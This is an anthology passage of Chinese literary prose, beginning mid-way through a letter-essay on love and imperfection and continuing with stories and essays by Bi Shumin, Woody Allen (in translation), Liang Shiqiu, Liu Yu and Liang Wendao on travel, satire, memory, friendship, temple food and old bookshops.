　　如果是小说的一个篇章，或是电影的一个结尾，那么，女主角听完这句话，脸上应该有种瞬间领悟的神情，十几年来的悬念终于有了解答，终于可以释然。主题曲在这时响起，象徵新的人生阶段开始。

　　但，这不是小说也不是电影，这是我的真实人生。我很真诚的感谢他，在我们相爱的时候，温柔的爱宠我，令我很幸福。

　　不必告诉他，我很早就发现，他不是我想像的那个人。虽然早早发现了这件事，但我仍调整着自己的想法，爱恋着他。因为那时候我已经知道，这个世界不同于我们的想像，没有人完全符合我们的理想。或许，那时候真的爱着，所以，没什么挣扎的顺从了爱人本来的样子，依旧真切的爱着他。

　　亲爱的阿靖，等你深刻爱过以后，就会明白，爱着那个与你想像不同的人，才是真正的爱情。

　　我们用了大量的想像，在所有情感中，包括父母亲的形象与作为。

　　我出席了一场教师研习营，有位认真的学员放映了一段日本导演北野武的故事。他的母亲在他出外打拚有成后，每个月定期打电话来向他讨钱，若是稍有延迟或短缺，便不堪入耳的詈骂，令北野武痛苦万分，他认为母亲只爱钱，贪得无厌，对他一点情感也没有。直到母亲过世，他尽人子之孝回家奔丧，他的兄长才告诉他一个“动人的真相”。原来，他的母亲了解儿子大而化之的个性，担心他不擅理财，将来穷困度日，因此，每个月向北野武讨钱，为的其实是帮他储蓄，一分一角都没动用。北野武了解事实真相，明白了母亲的用心，失声痛哭。这故事也令在场的老师们落泪纷纷，擤鼻涕和啜泣声此起彼落。

　　而我置身其中，总觉得什么地方不对劲。轮到我上台时，我的真心话大冒险就这样倾泄而出：“这个故事确实很令人感动。但我想问的是，如果并没有动人的真相呢？如果他的母亲真的就只是很爱钱呢？就像朱自清的父亲，曾留下一个为儿子买橘子的背影，后来却为了自己的需求，领光了儿子养家活口的薪水。就像是廖辉英《油麻菜籽》的母亲，重男轻女造成女儿的创伤，为了女儿的薪水甚至一再破坏女儿的终身大事。这些父母又该怎么评价呢？”

　　北野武的母亲是少数的“典范”。而她在活着的时候，令儿子感到那样痛苦，死去之后又令儿子感到那样忏悔，真的是父母亲的楷模吗？我们把这样的母亲形象植入孩子心中，势必是要让孩子一边成长一边幻灭的啊。不如趁早告诉他们，没有人会完全符合别人的想像或理想的，我们也无法满足他人。

　　朱自清在发现“伤心的真相”之后，仍写下纯朴真挚的《背影》，父亲当然不是个理想的父亲，可是，尽管如此，他还是在月台上费力的攀爬着，对儿子展现了一个父亲的爱与付出。这个时刻意义非凡，值得铭记。廖辉英笔下的母亲，俯身为女儿整理婚纱时，花白的发丝透露了一生所有的抑郁不如意，女儿最终疼惜的拥抱母亲，声声呼唤着：“妈妈，妈妈。”她体会也了解了母亲经历过的苦痛，于是，谅解也和解了。必须铭记，必须谅解，生命才能继续。

　　曾经，我以为朋友之间的忠诚乃是必然，却在一次重要的决策会议中，力战群雄，紧要关头需要夥伴表态声援，我的夥伴只是沉默的坐着，像在另一个世界。那次的决议没能闯关成功，我在错愕中了悟，忠诚并非必然，每个人在每个时刻都有自己的考量。

　　亲爱的阿靖，我并不希望你对世界失望。只是想告诉你，正因为人不一定都很良善，所以，感觉到他人的善意，使我充满感激。当我想飞翔，发觉羽翼之下有风；当我疲惫降落，能有温暖的怀抱憩息。我知道自己满身缺点和瑕疵，却仍有人愿意爱我、包容我，使我更有勇气面对那些冷酷的时刻。这世界确实不同于我们的想像，我们因此学会了珍惜与感谢。

　　你不会是我想像的，我也不是你想像的样子，但，请记住这件事，从你出生那一刻，我爱你，永远不会改变。

翻浆

毕淑敏

　　那年，我从西藏回内地探家，需坐半个月的汽车。搭了一辆地方上运送旧轮胎的货车，从海拔 5000 米的高原俯冲而下，颠簸了 10 天，到了一处戈壁。正是春天，道路翻浆。

　　突然在无边的沉寂当中，立起一根土柱，遮挡了银色的车灯。

　　“你要找死吗？你！你个兔崽子！”司机破口大骂。

　　我这才看清是一个人。浑身是土的人。他穿着一件尿碱黄色的旧大衣，拎着一个生姜黄色的破袋子，袋口绑着一缕骆驼黄色的绳头。

　　“我不是找死。我要搭车。我得回家。”他每一句话中间都有很长的间歇，你以为他说完了，可是他又继续说下去。“不搭！你没长眼睛吗？司机楼子已经坐满了，哪有你的地方！”司机愤愤地说。

　　“我没想坐司机楼子。我蹲大厢板就行。”他的话语中渗出轻微的南方口音。司机还是说：“不带！这么冷的天，你蹲大厢板，会生生冻死！”说着，踩了油门，准备闪过他往前开。

　　那个土人抱住我们的车灯说：“就在那儿……我爱人生孩子了……没有奶……我到场部好不容易借到点小米……要是赶不回去，熬不出米汤，孩子就饿死了……我们的粮食早没了……”我说：“您的孩子是男孩还是女孩呢？”

　　“是女孩，好漂亮的！”他立即兴奋起来，笑容像干旱时地上的裂缝在他的脸上蔓延。

　　为了那个没有奶吃的女婴，我一咬牙说：“你上车吧。”

　　他立即抱着口袋往车大厢上爬，“谢谢谢……谢”最后一个“谢”字已是从轮胎缝隙里发出来的。

　　夜风在车窗外凄厉地鸣叫。司机说：“我有一个同事，是个很棒的老师傅。一天，他的车突然消失了。很长时间没有踪影，原来是个知青，化装成一个可怜的人，拦了师傅的车。

　　上车以后把师傅杀死，甩在沙漠上，自己把车开回了上海。直到案发，我们才知道真相。从此我们车队里的司机绝不搭任何不认识的人上车。你是我的老乡说了许多好话，我才破例答应的。”

　　我立刻心里一沉，我找到司机身后的一个小洞，屏住气向外窥探。

　　朦胧的月晕中，那个土色的男子如一团肮脏的雾，抱着头，龟缩在起伏的轮胎阵里，每一次颠簸，他都像遗弃的篮球，被橡胶击打得嘭嘭作响。

　　“他好像有点冷。别的就看不出什么了。”我说。

　　“再仔细瞅瞅。我好像觉得他要干什么。”

　　这一次，我看到搭车人敏捷地跳到两个大轮胎之间，手脚麻利地搬动着我的提包。那里装着我带给父母的全部礼物。“哎呀，他偷我东西呢！”

　　司机很冷静地说：“怎么样？我说得不错吧。”“然后会怎么样呢？”我带着哭音说。

　　“你也别太难过了。我有个法子试一试。”只见他狠踩油门，车就像被横刺了一刀的烈马，疯狂地弹射出去。车速接近极限。从小洞向外窥探，那人仿佛被冻僵了，弓着腰抱着头，石像般凝立着，企图凭借冰冷的橡胶御寒，我的提包虽已被挪了地方，但依旧完整。

　　我把所见同司机讲了，他笑了，说：“这就对了，他偷了东西，原本是要跳车的，现在车速这么快，他若跳下就是找死。他不敢动了。”

　　路面变得汹涌澎湃，车速减慢了。

　　我不知如何是好，回头去看那个窟窿。大厢上的人也很灵敏地觉察了速度的变化，不失时机地站起身，重新搬动了我的提包。

　　我痛苦地几乎大叫，就在这时，司机趁着车的趔趄，索性加大了摇晃的频率，就势猛地一歪，车身剧烈倾斜，车窗几乎吻到路旁的沙砾。

　　再看那人，他仆倒在地，像一团被人践踏的麦草，虚弱但仍不失张牙舞爪的姿势，贪婪地护卫着我的提包——他的猎物。

　　司机继续做着一整套的高难动作。我又去看那个人，他像夏日里一条疲倦的狗，无助地躺在了轮胎中央。

　　道路阴险地毫无先兆地平滑起来，翻浆也像被施了符咒，消失得无影无踪。司机说：

　　“扶好你的脑袋。”

　　我一时没明白过来是怎么一回事儿，但司机凶狠的眼神启发了我。就在他的右脚残忍地踩下去的前一秒，我醍醐灌顶，大彻大悟。剩余的时间只够我在明白了他的策略之后，采取最紧急的自救措施：双腿紧紧抵地，双腕死撑面前的铁板，整个身体绷得如原始森林里最古老最强韧的硬木……

　　不用看我也知道，那个大厢板上的男人，在这突如其来的急刹车面前，几乎被卸成零件。“怎么样？最低他也是个脑震荡。看他还有没有劲头偷别人的东西？”司机踌躇满志地说。

　　我想到贼娃子一举伤了元气，一时半会儿可能不会再打我的提包的主意了，心里安宁了许多。

　　那个男人艰难地在轮胎缝里爬，不时还用手抹一下脸，把一种我看不清颜色的液体弹开……他把我的提包紧紧地抱在怀里，往手上哈着气，摆弄着拉锁上的提梁。

　　那边，他扎在小米口袋上的骆驼黄的绳子，已经解开，就等着把我提包里的东西搬过去呢……

　　“师傅，他……他还在偷，就要把我的东西拿走了……”我惊恐万状地说。“是吗？”

　　师傅这次反倒不慌不忙，嘴角甚至显出隐隐的笑意。

　　“到了。”司机干巴巴地说。到了兵站了。这是我们今天晚上的宿营地，也是离那个贼娃子住的村最近的公路。他家那儿是根本不通车的，还要往沙漠腹地里走 10 公里……司机打亮了驾驶室里的大灯，说：“现在不会出什么事了。”

　　那个人挽着他的黄口袋，像个木偶似的往下爬，狼狈地踩着轱辘跌下来，跪坐在地上。

　　不过个把时辰，他苍老得分辨不出年龄了。除了原有的赭黄之外，脸上平添了青光，额上还有蜿蜒的血迹。

　　“学学啦……学学……”他的舌头冻僵了，把“谢”说成“学”。

　　我们微笑地看着他，不停地点头。

　　他说：“学学你们把车开得这样快，我知道你们是为我在赶路，怕我的小女儿喝不上米汤，现在到天亮前，我赶得到家了……学学……”他抹一把下颌，擦掉的不知是眼泪、鼻涕还是血。

　　司机一字一顿地说：“甭啰嗦了。拿好你的东西，回家吧！”

　　他点点头，恋恋不舍地离开了我们。

　　看着他蹒跚的身影，我不由自主地喝了一声：“你停下！”

　　“我要查查我的东西少了没有。”我很严正地对他说。

　　司机赞许地冲我眨眨眼睛。

　　那个土黄色的人孤独地面对我们，脖子柔软地耷拉下来，不堪重负的样子。我爬上大厢板，动作是从未有过的敏捷。我看到了我的提包，它像一个胖胖的婴儿，安适地躺在黝黑的轮胎之中。我不放心地摸索着它，每一环拉锁都像小兽的牙齿般细密结实。

　　突然触到鬃毛样的粗糙，我意识到这正是搭车人那截失踪了的绳头。它把我的提包牢牢地固定在大厢的木条上，像焊住一般结实。

　　我的心凌空遭遇寒流，冻得皱缩起来。

　　我的提包原是用一根旧绷带捆在车上的。经过长途跋涉，绷带磨断了，汽车的每一次急转弯，都可能把我给父母的礼物甩给大漠，搭车人发现了这个隐患，他解下了自己扎米口袋的绳子，想把我的提包重新固定……在寒冷与颠簸之中，他操作了一路……

门萨的娼妓

伍迪 · 艾伦

　　身为私人侦探，有一点就是必须学会相信自己的直觉。正是这个原因，当一个哆里哆嗦、名叫沃德·巴布考克的胖子走进我的办公室，并把名片放到桌上时，我本来应该相信从脊柱传来的那股寒意。

　　“凯泽？”他问道，“凯泽·卢波韦茨？”

　　“我的执照上是这么写的。”我爽快地承认。

　　“你一定得帮我，有人敲诈我。求你了！”

　　他颤抖得像是个伦巴乐队的主唱歌手。我把一个玻璃杯放在桌面上推了过去，外加一瓶黑麦威士忌。我总把这瓶酒放在顺手的地方，倒不是为了医用目的。“你还是放松一下吧，从头跟我说说。”

　　“你……你不会告诉我老婆？”

　　“跟我说实话吧，沃德，可是我不能承诺什么。”

　　他想倒一杯酒，但是瓶碰杯子的咔嗒声从街上就能听到，而且大部分都淌进了他的鞋子。

　　“我是个干活人，”他说，“做机械维修工作，制作并修理逗乐蜂鸣器，你知道——那种有趣的小玩意儿，跟别人握手时能吓他们一跳的。”

　　“怎么样？”

　　“很多像你们这种经理、主管喜欢这种玩意儿，特别是在华尔街上班的。”

　　“别扯远了。”

　　“我经常出差，你知道那是什么滋味——孤独。噢，不是你想的那样。明白吗，凯泽？从根本上说来，我是个知识分子。没错，一个男人想找多少妓女都可以，可是真正有头脑的女人——短时间内，不是很容易就能找到。”

　　“接着说。”

　　“唉，我听说有这么一个年轻女孩，十八岁，亚萨女子学院的学生。花上一点钱，她就会来跟你谈任何话题——普鲁斯特、叶芝、人类学等等。交流思想。你明白我的意思吗？”

　　“不是很明白。”

　　“我是说，我老婆挺好，别误解我的意思。可是她跟我谈不了庞德，或是艾略特，我跟她结婚时不知道这个。你明白吧，我需要一个在精神上能激励我的女人，凯泽。我也愿意掏钱，可我不想复杂化——我想来一次快速的智力体验，然后让那个女孩走。老天，凯泽，我可是个婚姻幸福的有妇之夫。”

　　“有多久了？”

　　“半年。每当我有那种渴望时，就打电话给弗洛西，她是妈咪，有比较文学硕士学位。她会派一位知识分子过来，明白吗？”

　　这么说他就是那种男人了，向往很聪明的女人，这是他们的软肋。我为这个可怜的蠢货感到难过。我心想，他那种身份的人里面，肯定有不少窝囊废，他们如饥似渴地想跟异性来点智力上的交流，并且不惜出大价钱。

　　“现在她威胁要告诉我老婆。”他说。

　　“谁威胁？”

　　“弗洛西。她们在汽车旅馆的房间里安了窃听器，用磁带录了我讨论《荒原》和《激进意志的风格》，唉，有些问题还讨论得很深入。他们要我出一万块钱，否则就要告诉卡拉。凯泽，你一定得帮我！卡拉要是知道她在那方面满足不了我，会寻短见的。”

　　老一套的应召女郎敲诈案。我有耳闻，说是警察局里的几个伙计在办一个案子，涉及一群受过教育的女人，可是目前为止，他们查不下去了。

　　“给我拨通弗洛西的电话。”

　　“什么？”

　　“我接你的案子，沃德，不过每天收费五十元，花销另算。你会不得不修理很多逗乐蜂鸣器。”

　　“花不到一万块，这点我能肯定。”他咧嘴笑了一下说，然后拿起电话拨了个号码，我从他手里接过电话并挤了下眼睛。我开始喜欢上他了。

　　几秒钟后，一个柔和的声音接听了电话，我告诉她我想怎么样。“我知道你可以帮我安排，好好聊上一个钟头。”我说。

　　“没问题，亲爱的，你想聊什么？”

　　“我想聊梅尔维尔。”

　　“《大白鲸》还是短一点的长篇？”

　　“有什么不同？”

　　“也就是价钱。聊象征主义得另外加钱。”

　　“得出多少？”

　　“五十，聊《大白鲸》可能得一百块。你想进行比较性讨论，把梅尔维尔跟霍桑进行比较吗？一百块可以搞定。”

　　“还可以。”我告诉她，并说了个广场酒店的房间号码。

　　“你想要个金发女郎，还是个浅黑色皮肤的？”

　　“给我个惊喜吧。”我说完就挂了电话。

　　我刮了脸，灌了点黑咖啡，同时还查阅了《权威大学梗概》丛书。几乎还不到一小时，就听到一声敲门声。我打开门，站在那里的是个红头发年轻女孩，身子装在宽松的长裤里，就好像两大勺香草味冰淇淋。

　　“嗨，我是雪莉。”

　　她们可真的会让你想入非非啊：长长的直发，真皮包，银耳环，没化妆。

　　“你就那身打扮，没被拦住可真让我吃惊。”我说，“一般说来，门卫能看出进来的是不是个知识分子。”

　　“五块钱就堵住他的嘴了呗。”

　　“可以开始吗？”我说着把她往沙发上让。

　　她点着一根香烟后就直奔主题。“我认为我们可以这样开始，把《比利·巴德》看做是梅尔维尔对上帝施予人类的作为进行辩护，n’est-ce pas？

　　“有意思，不过，不是在弥尔顿那种意义上。”我在虚张声势，想看她是否赞成。

　　“对，《失乐园》缺少那种悲观主义的基础。”她赞成。

　　“对，对。天哪，你说得对。”我咕哝道。

　　“我认为梅尔维尔在一种尽管质朴，却是复杂的意义上重申了纯真的可贵——你同意吗？”

　　我让她继续往下说。她几乎还不到十九岁，对那种伪知识分子的把戏倒是玩得精熟。她滔滔不绝地发表看法，但全属死记硬背。每当我提出自己的见解时，她总会装扮着回应：“哦，对，凯泽。对，宝贝，深刻。对于基督教的柏拉图式理解——我怎么以前没看出来？”

　　我们聊了约有半个钟头后，她说她得走了。她站起身，我给了她一张一百块的钞票。

　　“谢谢，亲爱的。”

　　“还准备花不少钱呢。”

　　“你想说什么？”

　　我撩起了她的好奇心，她又坐了下来。

　　“假如说我想——开个派对呢？”

　　“什么样的？”

　　“假如我想让两个女孩给我解释一下诺姆·乔姆斯基呢？”

　　“哦，哇。”

　　“你要是根本不想……”

　　“你得跟弗洛西说，”她说，“会花你不少钱的。”

　　该收套了。我亮出我的私人侦探徽章，说我要抓她。

　　“什么！？”

　　“我是个侦探，亲爱的，为了钱讨论梅尔维尔可是犯法的，你会进监狱的。”

　　“你这个混蛋！”

　　“最好全招了，宝贝。除非你想去阿尔弗雷德·卡津的办公室那里说清楚，我想他听了一准儿会不高兴的。”

　　她哭了起来。“别把我交给警察，凯泽。”她说，“我需要钱完成硕士学业，我的助学金申请被拒绝了。两次。噢，天哪。”

　　她一古脑全招了——一点不剩。中央公园西侧长大，进过社会主义式夏令营，上布兰戴斯大学。她是你在埃尔金或塞利亚电影院那儿看到的排队等候进场，或者在一本论及康德的书页边用铅笔写下“对，非常正确”的普通少女，只不过她在生活中的某个时候误入歧途。

　　“我需要钱。有个女友说她认识个有妇之夫，他老婆的知识不是很渊博。他喜欢布莱克，可他老婆没法侃。我说没问题，出个价，我会跟他聊布莱克。我一开始紧张，经常在装扮，可他无所谓。我朋友说这种人还有。哦，我以前也被抓过。我在一辆停着的汽车里念《评论》杂志时被抓过，有次在坦吉尔伍德也被截停并搜身。再给抓到一次，我就算彻底完了。”

　　“那你带我去见弗洛西吧。”

　　她咬了咬嘴唇，然后说：“前面是亨特大学书店。”

　　“还有呢？”

　　“就像那种外面拿理发店当幌子的赛马投注点，你会看到的。”

　　我往警察局打了个简短的电话，然后对她说：“好吧，亲爱的，我放你一马，但是别离开本市。”

　　她感激地把脸向我侧了过来。“我能给你弄到德怀特·麦克唐纳读书的照片。”她说。

　　“再说吧。”

　　我走进亨特大学书店，店员走上前，他是个目光敏锐的小伙子。“我可以帮您吗？”他说。

　　“我在找《自我广告》的一种特别版本，我知道作者为了送朋友印过一千册烫金面的。”

　　“得查一下。”他说，“我们和梅勒家经常电话联系。”

　　我盯了他一眼。“雪莉让我来的。”我说。

　　“噢，那你去后面吧。”他说完按了个按钮，一面书墙打开了。我就像一头羔羊，走进那个令人眼花缭乱的享乐宫，它的名字叫弗洛西会所。

　　全红的墙纸和维多利亚时代风格的装修决定了情调。一群脸色苍白、精神紧张、戴着黑边眼镜、头发剪得齐齐的女孩子倚靠在沙发上，在飞快地翻看企鹅版经典丛书，姿态诱人。一个金发女孩满脸堆笑地向我挤了下眼睛，向楼上一个房间点点头说：“华莱士·斯蒂文斯，对吗？”但那不只是智力体验——他们还兜售情感体验。我得知，花上五十块，你可以进行“不深入的陈述”；花一百块，一个女孩可以把她的巴托克唱片借给你听，一起进餐，然后让你看她来一次焦虑发作；花一百五，你可以跟一对孪生姐妹一起听调频立体声广播；花三百块，你可以享受套餐：一个浅黑色皮肤的女孩会在现代艺术博物馆里装着搭上你，让你看她的硕士论文，让你和她在伊琳餐馆就弗洛伊德关于女人的概念尖声争吵，然后她会按照你选择的方式假装自杀——对于某些人来说，这是完美的一晚。不错的骗局。多棒的城市啊，纽约。

　　“怎么样，喜欢吗？”我身后响起一个声音。我转过身，赫然发现一枝点三八口径手枪的枪管正对着我的脸。我是个处事不惊的人，可这次心里还是格登一下。是弗洛西，正好。还是那个声音，但弗洛西是个男人，一张面具遮着他的脸。

　　“你永远也不会相信，”他说，“可是我连一张大学文凭都没有，我是因为成绩差被勒令退学的。”

　　“这就是你为什么要戴面具吗？”

　　“我订了个接手《纽约书评》的复杂计划，但是这意味着我要冒充莱昂内尔·特里林。我为做手术去了墨西哥，胡埃莱斯那里有个医生，能给人整容成莱昂内尔·特里林的样子——花钱就可以。但是出了点差错，我整容的结果看上去像是奥登，声音却像玛丽·麦卡锡。从那时起，我就成了个法外之人。”

　　马上，在他抠动扳击前，我动手了。我扑上去用肘猛击他的下巴，在他倒下时抓住枪。他扑通一下倒在地上。警察出现时，他还在抽泣。

　　“干得不赖，凯泽。”霍姆斯警官说，“我们审完他后，联邦调查局想跟他谈谈。是件小事，牵涉到几个赌徒和但丁的《地狱篇》的某个注释本。把他带走，伙计们。”

　　那天深夜时分，我拜访了一位老客户，名叫格洛丽亚。她是个金发女郎，是以优等成绩毕业的，区别在于她学的专业是体育，让我感觉不错。

唐人来自何处

梁实秋

　　我二十二岁清华学校毕业，是年夏，全班数十同学搭乘杰克孙总统号由沪出发，于九月一日抵达美国西雅图。登陆后，暂息于青年会宿舍，一大部分立即乘火车东行，只有极少数的同学留下另行候车：预备到科罗拉多泉的有王国华、赵敏恒、陈肇彰、盛斯民和我几个人。赵敏恒和我被派在一间寝室里休息。寝室里有一张大床，但是光溜溜的没有被褥，我们二人就在床上闷坐，离乡背井，心里很是酸楚。时已夜晚，寒气袭人。突然间孙清波冲入室内，大声的说：

　　“我方才到街上走了一趟，我发现满街上全是黄发碧眼的人，没有一个黄脸的中国人了！”

　　赵敏恒听了之后，哀从衷来，哇的一声大哭，趴在床上抽噎。孙清波回头就走。我看了赵敏恒哭的样子，也觉得有一股凄凉之感。二十几岁的人，不算是小孩子，但是初到异乡异地，那份感受是够刺激的。午夜过后，有人喊我们出发去搭火汽，在车站看见黑人车侍提着煤油灯摇摇幌幌的喊着“全都上车啊！全都上车啊！”

　　车过夏安，那是怀欧明州的都会，四通八达，算是一大站。从此换车南下便直达丹佛和科罗拉多泉了。我们在国内受到过警告，在美国火车上不可到餐车上用膳，因为价钱很贵，动辄数元，最好是沿站购买零食或下车小吃。在夏安要停留很久，我们就相偕下车，遥见小馆便去推门而入。我们选了一个桌子坐下，侍者送过菜单，我们检价廉的菜色各自点了一份。在等饭的时候，偷眼看过去，见柜台后面坐着一位老者，黄脸黑发，像是中国人，又像是日本人，他不理我们，我们也不理他。

　　我们刚吃过了饭，那位老者踱过来了。他从耳朵上取下半截长的一支铅笔，在一张报纸的边上写道：

　　“唐人自何处来？”

　　果然，他是中国人，而且他也看出我们是中国人。他一定是广东台山来的老华侨。显然他不会是国语，大概是也不肯说英语，所以开始和我们书谈。

　　我接过了铅笔，写道：“自中国来。”

　　他的眼睛瞪大了，而且脸上泛起一丝笑容。他继续写道：

　　“来此何为？”

　　我写道：“读书。”

　　这下子，他眼睛瞪得更大了，他收敛起笑容，严肃的向我们翘起了他的大拇指，然后他又踱回到柜台后面他的座位上。

　　我们到柜台边去付帐。他摇摇头、摆摆手，好像是不肯收费，他说了一句话好象是：“统统是唐人呀！”

　　我们称谢之后刚要出门，他又喂喂的把我们喊住，从柜台下面拿出一把雪茄烟，送我们每人一支。

　　我回到车上，点燃了那支雪茄。在吞烟吐雾之中，我心里纳闷，这位老者为什么不收餐费？为什么奉送雪茄？大概他在夏安开个小餐馆，很久没看到中国人，很久没看到一群中国青年，更很久没看到来读书的中国青年人。我们的出现点燃了他的同胞之爱。事隔数十年，我不能忘记和我们作简短笔谈的那位唐人。

积极的人

刘瑜

　　到现在基本上已经可以肯定，我之所以没法和 Miriam 成为好朋友，就是因为她太积极向上了。

　　Miriam，一个德国女生，身材高挑，举止优雅。长相嘛，这么说吧，大家说起她的时候，都不叫名字，直接说“我们系那个德国美女”。

　　她比我低一级。2003 年夏天，她要参加我们系的“过关考试”，听说我前一年考了优，就跑来找我“取经”。我们就这么认识了。那个时候，我到美国之后的新鲜劲还没有完全过去，对于交朋友还有一种收藏癖，就是各个国家的朋友，都想收藏一枚。看着坐在对面笑眯眯的美女，又在脑子里走了一遍我的朋友地图，于是我决定，要在我的地图上插上她这面美丽的德国小旗。

　　那个周末正好请朋友吃饭，就把她叫上了。过了一段时间，她去听歌剧，也叫上了我。然后我又叫了她喝过一次咖啡。然后她又叫了我去她家参加一个 party。

　　多好的开端啊，接下来，本来应该是一个德国女孩和一个中国女孩，在纽约这个大都市，谱写一曲世界人民心连心的新篇章。可是，全然不是这么回事。我们俩好不容易把中德友谊加温到 30 摄氏度以后，温度就再也上不去了。扔再多的柴好像也不管用了，就是眼泪给火熏出来，也不管用了。

　　究其原因，就是她这个人太积极，而我太消极。如果说到我们系的某个教授，我刚想说他的坏话，她就说：“啊，他太棒了……”一说到某个学术会议，我刚想说太无聊了，她就说：“那个会真是让我受益匪浅……”说到写论文，我刚想哭诉，她却说：“我真的特别享受写论文……”

　　跟她在一起，我越来越惭愧。生活对于她，光明、灿烂，好比把一件量身定做的小旗袍穿得服服帖帖；而那衣服穿在我身上，却是要胸没胸，要屁股没屁股，真是糟蹋了好布料。

　　就算我努力用历史唯物主义的观点来解释说：中国，这样一个第三世界国家，和德国，这样一个发达资本主义国家，生产出有非常不同性格的人，有它的历史必然性。可看她穿着合体漂亮的小旗袍，我还是羞愧难当。

　　于是，我不太跟她玩了。

　　昨天，在系里碰见她。她刚从印尼做调查回来，照例是满面春风。

　　我问：“你的调查做得怎么样啊？”

　　“很好！”她说。

　　“去那样一个人生地不熟的国家，会不会孤单啊？”

　　“不会，怎么会呢？！”

　　“这个学期忙吗？”

　　“嗯，我有两场会，三篇论文，还有一个助教的职位……”她振奋的声音，“噼里啪啦”在我眼前开放。在她振奋的声音里，我又看见自己变成一只小虫子，怀着自己那点焦虑，就像揣着万贯家产，贴着墙脚，灰溜溜地往自己虚构的、安全的阴影里爬。

庙口

梁文道

　　小时候看戏读小说，时常见到才子佳人在庙会相遇，上香上出真感情的情节，很不明白其中的奥妙。后来又听说古时的好人家都不许黄花闺女进庙烧香，即使要去，也必差遣丫环随行监视，就更是觉得奇怪；为什么寺庙总是酝酿一段玫瑰佳话的好地点？又为什么不让初熟的少女独自上香，仿佛寺庙是个很淫乱的场所？

　　原来庙观真的曾是不清不净的危险地带，尤其明朝，也就是那些小说和戏曲诞生的年代。《大明律》甚至还有这样的条例：“若有官及军民之家，纵令妻女于寺观神庙烧香者，笞四十，罪坐夫男。无夫男者，罪坐本妇。”时人雷梦麟解释道：“纵容妻女于寺观神庙烧香祈福者，则男女混杂，而奸淫之渐矣。”其实真正的问题还不在男女混杂，而在于当时寺观中的“出家人”不是一般的男女。有许多逃兵贼盗遁入寺中，把清净之地弄得乌烟瘴气，喝酒吃肉穿金戴银，甚至还诱拐良家妇女，开设妓寨。于是有些人外表像尼姑，职业却是性工作，别有用心的烧香客看了要是喜欢，可以直接带到后面的禅房办事。难怪后人都说明末是中国佛教最堕落的时期。

　　中国人的宗教观念很世俗，所以中国人的宗教场所也很江湖。就算不为寻春，庙门观前也是个吃喝玩乐的好去处。我们现在过年过节喜欢逛商场，古人的相应活动就是逛庙会了。那里头什么都有，耍猴的，变魔术的，表演功夫卖膏药的，凡是江湖上的行当，全都集中到庙前去了。至于卖杂货做小吃，那就更不用说了。

　　虽然我也很受不了寺院兼营妓院的古风，但我对“庙口”这种神奇热闹的传统空间却是很向往的，特别是它的小吃。就说江苏一带，上海城隍庙、南京夫子庙、苏州玄妙观，这些地名几乎等同某种小吃的流派了，过去要找地道好小吃，非去这些庙前的空间不可。我还说得苏州玄妙观前面的“观前路”，什么五香排骨、酱螺蛳、鸭血汤、玫瑰糕、梅花糕、酒酿饼……这一路吃下来，你就知道什么叫做苏州的“香甜软糯”了。可惜时代变了，那一带的地价太高，小吃做不住，反而开了麦当劳。

　　很多人都以为香港保留了不少传统中国文化的特色，我也同意，唯独“庙口”这一点竟是相当罕见。譬如车公庙，每年农历新年车公诞前后数日，它附近的球场都会有架起一行行帐篷的小摊贩，卖风车看掌相。可是受制于政府的卫生观念，这里就是没一家卖吃的。“食环署”全力灭绝港式大排档数十年之后，近日终于醒悟，准许硕果仅存的二十多家人传承家业。他们能不能善心大发，再多放出一些经营牌照呢？如果可以，拿了牌照的业者又该去何处维生？蔡澜建议在天水围设一片小吃摊，我则以为最好的地方莫过“庙口”，比方说黄大仙。

　　大陆的“庙口”渐渐走味，香港的“庙口”根本不存在，只有台湾还保留了这套庶民的善美风俗，而且东西真的好吃。吃新竹的贡丸米粉，没有比新竹城隍庙更好的所在了；其他地方亦然。有一趟我在台南，朋友说晚上要带我们吃海鲜，我以为一定是要到海滨河口了，没想到下了车竟是市区里的一座庙。夜凉似水，小城灯静，我们坐在贴地极近的低矮板凳上，前面是一行小卖车展示鱼获，背后则是庙门两侧的红灯笼（上书大字“肃静”）。烹调简单得不能再简单了，白水湛湛煮熟的海产，一人一小碟酱油蘸料。但看附近桌子零落三四张，食客不出十来人，大家吃得也慢话声也低，我居然意外地感受到了一股神圣。

旧书去哪里了

梁文道

　　有一次在深圳演讲，一个听众起立建议在座的政府官员出手，帮忙弄个旧书市场，好激活这个新城市的文化灵魂。身为外人，当时我很不客气地指出其中难度：“旧书市不是说有就有的，非有两代以上的积累不为功。深圳是个很年轻的移民城市，平均人口年龄低，在此出生的还都在二十岁以下。老者不多，散书的人自然就少。即便勉强生造一个旧书市场，卖的恐怕也都是月前上市的新书，珍品恐怕不多。”

　　可是深圳偏偏就有一家挺雅致的旧书店，就在丹下健三设计的那个新书城一角。

　　书城大抵都是一副模样，阔大得叫人迷失，不宜久留。但开在这间全球最大书城里的二十四小时书店却令人意外，卖的不全是畅销新书，反而有不少坊间少见的人文社科精品，尤其好的是满满两柜书话、书史和书目。我知道店主必是同好。果然，主管孙经理出来相认，身上素朴的直条衬衫，一股书虫味十米外都嗅得到。

　　谈得高兴，孙经理引我去隔壁一家酷似中式家具店的酒吧，居然兼营旧书买卖。书量不大，但也有许多好东西，例如一匣精美的 20 世纪 40 年代德国印中国画论线装书，更有“中国营造学社”30 年代有关五台山佛光寺调查报告的初版，可惜这是非卖品。孙经理原意是伴我过来淘书，没想到竟自己一头栽了进去不理我，才不多时手上已抱住几册。他在隔壁打工卖书，挣的薪水大概都花到这里来了。我想，这里的买卖倒好做，自己成了一套循环不已、不假外求的生态系统。

　　旧书买卖，确实是个生态系统，要有进有出。没了源头活水，再清澈的池子很快也就成了霉臭的枯井。香港旧书业曾经兴旺过一段日子，但等到南来的老人走得差不多，地价铺租又随着大楼不断高升，现在只能剩下一片颓垣败象了，所以我现在不大逛香港那仅余几家的旧书店，怕见了难过。可是老友陈智德有不同的意见，他今年主持的“牛棚书展”还特地开了一团“香港旧书店之旅”，团友之中有专程来书展演讲的台北傅月庵与北京谢其章两位著名的书痴。

　　傅月庵著有一册《蠹鱼头的旧书店地图》，我以为是爱旧书者不可不看的好书。这本书不只附上了感觉很妹尾河童的插画，逐一分解台北的旧书店，居然还有淘书的“攻略”。这攻略包括了逛书店的装备图解，比方夏天的雨伞、冬天的保暖帽，还有四时皆备的大书包和水壶！其痴狂可爱，我辈书迷看了一定会打心里笑出来。

